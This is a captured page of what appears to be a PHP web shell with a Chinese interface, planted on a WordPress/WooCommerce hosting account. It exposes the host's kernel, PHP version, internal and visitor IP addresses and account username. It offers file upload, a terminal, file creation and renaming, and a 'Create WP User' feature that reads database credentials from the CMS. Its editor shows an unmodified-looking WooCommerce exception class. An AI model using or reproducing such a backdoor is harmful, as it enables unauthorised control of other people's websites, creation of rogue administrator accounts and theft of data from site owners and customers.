Linux webm017.cluster130.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid x86_64
PHP/7.4.33
服务器IP :
10.130.20.17
& 您的IP :
216.73.216.193
域名 :
无法读取 [ /etc/named.conf ]
用户 :
koaigpw
上传
终端
新建文件
新建文件夹
Create WP User
登出
+
/
home
/
koaigpw
/
www
/
wordpress
/
wpn_budomat
/
wp-content
/
plugins
/
woocommerce
/
src
/
Checkout
/
Helpers
/
[ 返回根目录 ]
名称
大小
权限
修改时间
操作
..
-
-
-
ReserveStock.php
6.79 KB
-rw-r--r--
2021-04-03 16:41
ReserveStockException.php
1.20 KB
-rw-r--r--
2021-04-03 16:41
>_
终端
关闭 ✕
输入 'help' 查看可用命令。
koaigpw@
>
新建文件
文件名
取消
创建
重命名
新名称
取消
重命名
Create WordPress User
Auto (baca dari file CMS)
Manual (isi kredensial DB)
代码编辑器 :
ReserveStockException.php
<?php /** * Exceptions for stock reservation. */ namespace Automattic\WooCommerce\Checkout\Helpers; defined( 'ABSPATH' ) || exit; /** * ReserveStockException class. */ class ReserveStockException extends \Exception { /** * Sanitized error code. * * @var string */ protected $error_code; /** * Error extra data. * * @var array */ protected $error_data; /** * Setup exception. * * @param string $code Machine-readable error code, e.g `woocommerce_invalid_product_id`. * @param string $message User-friendly translated error message, e.g. 'Product ID is invalid'. * @param int $http_status_code Proper HTTP status code to respond with, e.g. 400. * @param array $data Extra error data. */ public function __construct( $code, $message, $http_status_code = 400, $data = array() ) { $this->error_code = $code; $this->error_data = $data; parent::__construct( $message, $http_status_code ); } /** * Returns the error code. * * @return string */ public function getErrorCode() { return $this->error_code; } /** * Returns error data. * * @return array */ public function getErrorData() { return $this->error_data; } }
关闭
保存